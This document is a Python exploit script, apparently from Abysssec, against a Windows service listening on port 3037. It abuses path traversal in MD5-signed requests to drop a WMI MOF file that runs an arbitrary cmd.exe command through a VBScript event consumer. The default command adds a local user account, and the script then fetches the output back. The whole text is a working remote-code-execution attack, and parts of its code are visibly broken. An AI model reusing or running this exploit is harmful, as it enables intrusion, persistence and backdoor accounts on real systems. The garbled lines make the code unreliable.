import httplib, md5, sys def message_MD5(arg): v = "SRS" + arg + "SERVER" m = md5.new(v) return m.hexdigest() def genMof(command="net user abysssec 123456 /add"): vbs = "" vbs += "\"Set objShell = CreateObject(\\\"WScript.Shell\\\")\\n\"\n" vbs += "\"objShell.Run \\\"cmd.exe /C " vbs += command vbs += "\\\"\"" mof = """ #pragma namespace ("\\\\\\\\.\\\\root\\\\subscription") #pragma deleteclass("MyASEventConsumer", nofail) #pragma deleteinstance("__EventFilter.Name=\\\"EF\\\"", nofail) #pragma deleteinstance("ActiveScriptEventConsumer.Name=\\\"ASEC\\\"", nofail) class MyASEventConsumer { [key]string Name; }; instance of ActiveScriptEventConsumer as $CONSUMER { CreatorSID = {1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0}; Name = "ASEC"; ScriptingEngine = "VBScript"; ScriptText = SCRIPT; }; instance of __EventFilter as $FILTER { CreatorSID = {1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0}; Name = "EF"; Query = "SELECT * FROM __InstanceCreationEvent" " WHERE TargetInstance.__class = \\"MyASEventConsumer\\""; QueryLanguage = "WQL"; }; instance of __FilterToConsumerBinding as $BINDING { CreatorSID = {1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0}; Filter = $FILTER; Consumer = $CONSUMER; }; instance of MyASEventConsumer { Name = "Trigger"; }; """.replace('SCRIPT',vbs) return mof def main(argv=None): if argv is None: argv = sys.argv if len(argv) != 2: print "[!] USAGE : mof \"\"" return msg = "FSFUI130../../../../../../Windows/system32/wbem/mof/command.mof C:/Windows/System32/info.dat") msg += "]]>" body = message_MD5(msg).upper() + msg headers = {"Content-type": "text/xml"} conn = httplib.HTTPSConnection("192.168.10.20:3037") conn.request("POST", "/SRS/CMD",body, headers) response = conn.getresponse() print "\n...Command Executed ..." print response.status, response.reason print response.read() msg = "FSFUI126../../../../../../WINDOWS/system32/info.dat" body = message_MD5(msg).upper() + msg conn.request("POST", "/SRS/CMD",body, headers) response = conn.getresponse() conn.request("POST", "/SRS/CMD",body, headers) response = conn.getresponse() print "\n...Getting result ..." print response.status, response.reason print response.read() conn.close() if __name__ == "__main__": main()

Query Builder